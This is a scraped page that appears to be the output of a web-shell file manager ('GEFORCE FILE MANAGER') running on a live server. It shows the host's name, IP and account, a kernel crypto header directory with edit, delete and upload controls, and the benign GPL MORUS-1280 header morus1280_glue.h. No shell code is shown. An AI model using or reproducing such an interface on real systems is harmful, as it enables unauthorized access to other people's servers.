[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
kernels
/
4.18.0-553.56.1.el8_10.x86_64
/
include
/
crypto
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 internal
SET
[ DEL ]
📄 acompress.h
8,120 B
SET
[ EDIT ]
|
[ DEL ]
📄 aead.h
18,729 B
SET
[ EDIT ]
|
[ DEL ]
📄 aes.h
1,058 B
SET
[ EDIT ]
|
[ DEL ]
📄 akcipher.h
11,989 B
SET
[ EDIT ]
|
[ DEL ]
📄 algapi.h
12,163 B
SET
[ EDIT ]
|
[ DEL ]
📄 arc4.h
484 B
SET
[ EDIT ]
|
[ DEL ]
📄 authenc.h
845 B
SET
[ EDIT ]
|
[ DEL ]
📄 b128ops.h
2,471 B
SET
[ EDIT ]
|
[ DEL ]
📄 blowfish.h
415 B
SET
[ EDIT ]
|
[ DEL ]
📄 cast5.h
590 B
SET
[ EDIT ]
|
[ DEL ]
📄 cast6.h
636 B
SET
[ EDIT ]
|
[ DEL ]
📄 cast_common.h
232 B
SET
[ EDIT ]
|
[ DEL ]
📄 cbc.h
3,562 B
SET
[ EDIT ]
|
[ DEL ]
📄 chacha20.h
638 B
SET
[ EDIT ]
|
[ DEL ]
📄 cryptd.h
2,562 B
SET
[ EDIT ]
|
[ DEL ]
📄 crypto_wq.h
161 B
SET
[ EDIT ]
|
[ DEL ]
📄 ctr.h
1,666 B
SET
[ EDIT ]
|
[ DEL ]
📄 des.h
1,403 B
SET
[ EDIT ]
|
[ DEL ]
📄 dh.h
2,784 B
SET
[ EDIT ]
|
[ DEL ]
📄 drbg.h
9,160 B
SET
[ EDIT ]
|
[ DEL ]
📄 ecdh.h
2,733 B
SET
[ EDIT ]
|
[ DEL ]
📄 engine.h
4,202 B
SET
[ EDIT ]
|
[ DEL ]
📄 gcm.h
140 B
SET
[ EDIT ]
|
[ DEL ]
📄 gf128mul.h
9,647 B
SET
[ EDIT ]
|
[ DEL ]
📄 ghash.h
381 B
SET
[ EDIT ]
|
[ DEL ]
📄 hash.h
33,386 B
SET
[ EDIT ]
|
[ DEL ]
📄 hash_info.h
1,153 B
SET
[ EDIT ]
|
[ DEL ]
📄 hmac.h
173 B
SET
[ EDIT ]
|
[ DEL ]
📄 if_alg.h
7,170 B
SET
[ EDIT ]
|
[ DEL ]
📄 kpp.h
9,926 B
SET
[ EDIT ]
|
[ DEL ]
📄 md5.h
497 B
SET
[ EDIT ]
|
[ DEL ]
📄 morus1280_glue.h
4,647 B
SET
[ EDIT ]
|
[ DEL ]
📄 morus640_glue.h
4,585 B
SET
[ EDIT ]
|
[ DEL ]
📄 morus_common.h
720 B
SET
[ EDIT ]
|
[ DEL ]
📄 null.h
341 B
SET
[ EDIT ]
|
[ DEL ]
📄 padlock.h
649 B
SET
[ EDIT ]
|
[ DEL ]
📄 pcrypt.h
1,435 B
SET
[ EDIT ]
|
[ DEL ]
📄 pkcs7.h
1,388 B
SET
[ EDIT ]
|
[ DEL ]
📄 poly1305.h
920 B
SET
[ EDIT ]
|
[ DEL ]
📄 public_key.h
2,126 B
SET
[ EDIT ]
|
[ DEL ]
📄 rng.h
6,820 B
SET
[ EDIT ]
|
[ DEL ]
📄 scatterwalk.h
3,755 B
SET
[ EDIT ]
|
[ DEL ]
📄 serpent.h
712 B
SET
[ EDIT ]
|
[ DEL ]
📄 sha.h
4,350 B
SET
[ EDIT ]
|
[ DEL ]
📄 sha1_base.h
2,532 B
SET
[ EDIT ]
|
[ DEL ]
📄 sha256_base.h
2,629 B
SET
[ EDIT ]
|
[ DEL ]
📄 sha3.h
879 B
SET
[ EDIT ]
|
[ DEL ]
📄 sha512_base.h
3,271 B
SET
[ EDIT ]
|
[ DEL ]
📄 skcipher.h
23,381 B
SET
[ EDIT ]
|
[ DEL ]
📄 sm3.h
833 B
SET
[ EDIT ]
|
[ DEL ]
📄 sm3_base.h
3,024 B
SET
[ EDIT ]
|
[ DEL ]
📄 sm4.h
754 B
SET
[ EDIT ]
|
[ DEL ]
📄 speck.h
1,357 B
SET
[ EDIT ]
|
[ DEL ]
📄 twofish.h
755 B
SET
[ EDIT ]
|
[ DEL ]
📄 xts.h
1,385 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: morus1280_glue.h
/* SPDX-License-Identifier: GPL-2.0 */ /* * The MORUS-1280 Authenticated-Encryption Algorithm * Common glue skeleton -- header file * * Copyright (c) 2016-2018 Ondrej Mosnacek <omosnacek@gmail.com> * Copyright (C) 2017-2018 Red Hat, Inc. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version. */ #ifndef _CRYPTO_MORUS1280_GLUE_H #define _CRYPTO_MORUS1280_GLUE_H #include <linux/module.h> #include <linux/types.h> #include <crypto/algapi.h> #include <crypto/aead.h> #include <crypto/morus_common.h> #define MORUS1280_WORD_SIZE 8 #define MORUS1280_BLOCK_SIZE (MORUS_BLOCK_WORDS * MORUS1280_WORD_SIZE) struct morus1280_block { u8 bytes[MORUS1280_BLOCK_SIZE]; }; struct morus1280_glue_ops { void (*init)(void *state, const void *key, const void *iv); void (*ad)(void *state, const void *data, unsigned int length); void (*enc)(void *state, const void *src, void *dst, unsigned int length); void (*dec)(void *state, const void *src, void *dst, unsigned int length); void (*enc_tail)(void *state, const void *src, void *dst, unsigned int length); void (*dec_tail)(void *state, const void *src, void *dst, unsigned int length); void (*final)(void *state, void *tag_xor, u64 assoclen, u64 cryptlen); }; struct morus1280_ctx { const struct morus1280_glue_ops *ops; struct morus1280_block key; }; void crypto_morus1280_glue_init_ops(struct crypto_aead *aead, const struct morus1280_glue_ops *ops); int crypto_morus1280_glue_setkey(struct crypto_aead *aead, const u8 *key, unsigned int keylen); int crypto_morus1280_glue_setauthsize(struct crypto_aead *tfm, unsigned int authsize); int crypto_morus1280_glue_encrypt(struct aead_request *req); int crypto_morus1280_glue_decrypt(struct aead_request *req); int cryptd_morus1280_glue_setkey(struct crypto_aead *aead, const u8 *key, unsigned int keylen); int cryptd_morus1280_glue_setauthsize(struct crypto_aead *aead, unsigned int authsize); int cryptd_morus1280_glue_encrypt(struct aead_request *req); int cryptd_morus1280_glue_decrypt(struct aead_request *req); int cryptd_morus1280_glue_init_tfm(struct crypto_aead *aead); void cryptd_morus1280_glue_exit_tfm(struct crypto_aead *aead); #define MORUS1280_DECLARE_ALGS(id, driver_name, priority) \ static const struct morus1280_glue_ops crypto_morus1280_##id##_ops = {\ .init = crypto_morus1280_##id##_init, \ .ad = crypto_morus1280_##id##_ad, \ .enc = crypto_morus1280_##id##_enc, \ .enc_tail = crypto_morus1280_##id##_enc_tail, \ .dec = crypto_morus1280_##id##_dec, \ .dec_tail = crypto_morus1280_##id##_dec_tail, \ .final = crypto_morus1280_##id##_final, \ }; \ \ static int crypto_morus1280_##id##_init_tfm(struct crypto_aead *tfm) \ { \ crypto_morus1280_glue_init_ops(tfm, &crypto_morus1280_##id##_ops); \ return 0; \ } \ \ static void crypto_morus1280_##id##_exit_tfm(struct crypto_aead *tfm) \ { \ } \ \ struct aead_alg crypto_morus1280_##id##_algs[] = {\ { \ .setkey = crypto_morus1280_glue_setkey, \ .setauthsize = crypto_morus1280_glue_setauthsize, \ .encrypt = crypto_morus1280_glue_encrypt, \ .decrypt = crypto_morus1280_glue_decrypt, \ .init = crypto_morus1280_##id##_init_tfm, \ .exit = crypto_morus1280_##id##_exit_tfm, \ \ .ivsize = MORUS_NONCE_SIZE, \ .maxauthsize = MORUS_MAX_AUTH_SIZE, \ .chunksize = MORUS1280_BLOCK_SIZE, \ \ .base = { \ .cra_flags = CRYPTO_ALG_INTERNAL, \ .cra_blocksize = 1, \ .cra_ctxsize = sizeof(struct morus1280_ctx), \ .cra_alignmask = 0, \ \ .cra_name = "__morus1280", \ .cra_driver_name = "__"driver_name, \ \ .cra_module = THIS_MODULE, \ } \ }, { \ .setkey = cryptd_morus1280_glue_setkey, \ .setauthsize = cryptd_morus1280_glue_setauthsize, \ .encrypt = cryptd_morus1280_glue_encrypt, \ .decrypt = cryptd_morus1280_glue_decrypt, \ .init = cryptd_morus1280_glue_init_tfm, \ .exit = cryptd_morus1280_glue_exit_tfm, \ \ .ivsize = MORUS_NONCE_SIZE, \ .maxauthsize = MORUS_MAX_AUTH_SIZE, \ .chunksize = MORUS1280_BLOCK_SIZE, \ \ .base = { \ .cra_flags = CRYPTO_ALG_ASYNC, \ .cra_blocksize = 1, \ .cra_ctxsize = sizeof(struct crypto_aead *), \ .cra_alignmask = 0, \ \ .cra_priority = priority, \ \ .cra_name = "morus1280", \ .cra_driver_name = driver_name, \ \ .cra_module = THIS_MODULE, \ } \ } \ } #endif /* _CRYPTO_MORUS1280_GLUE_H */